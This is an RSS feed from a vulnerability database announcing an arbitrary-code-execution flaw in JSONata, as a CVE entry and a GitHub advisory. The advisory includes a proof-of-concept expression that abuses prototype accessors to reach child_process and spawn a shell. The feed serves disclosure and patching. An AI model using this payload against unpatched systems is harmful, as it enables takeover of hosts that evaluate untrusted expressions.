<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 23:22:19 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-77413 — JSONata: Arbitrary Code Execution via crafted JSONata expressions</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-77413</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jsonata-js jsonata&lt;/p&gt;
&lt;p&gt;JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; jsonata-js jsonata&lt;/p&gt;
&lt;p&gt;JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-77413</guid>
    </item>
    <item>
      <title>GHSA-8gq3-vp5j-2grp — JSONata: Arbitrary Code Execution via crafted JSONata expressions</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-8gq3-vp5j-2grp</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: jsonata&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705&lt;/p&gt;
&lt;p&gt;This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```js
import jsonata from &amp;#34;jsonata&amp;#34;;&lt;/p&gt;
&lt;p&gt;const expression = jsonata(`
(
   __lookupSetter__(&amp;#39;__proto__&amp;#39;)(constructor);
   __defineGetter__(&amp;#39;l&amp;#39;, constructor(&amp;#34;return
process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;sh&amp;#39;,{stdio:&amp;#39;inherit&amp;#39;}).toString()&amp;#34;));
   valueOf().l
)
`);&lt;/p&gt;
&lt;p&gt;await expression.evaluate({});
```&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: jsonata&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705&lt;/p&gt;
&lt;p&gt;This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;```js
import jsonata from &amp;#34;jsonata&amp;#34;;&lt;/p&gt;
&lt;p&gt;const expression = jsonata(`
(
   __lookupSetter__(&amp;#39;__proto__&amp;#39;)(constructor);
   __defineGetter__(&amp;#39;l&amp;#39;, constructor(&amp;#34;return
process.getBuiltinModule(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;sh&amp;#39;,{stdio:&amp;#39;inherit&amp;#39;}).toString()&amp;#34;));
   valueOf().l
)
`);&lt;/p&gt;
&lt;p&gt;await expression.evaluate({});
```&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-8gq3-vp5j-2grp</guid>
    </item>
  </channel>
</rss>
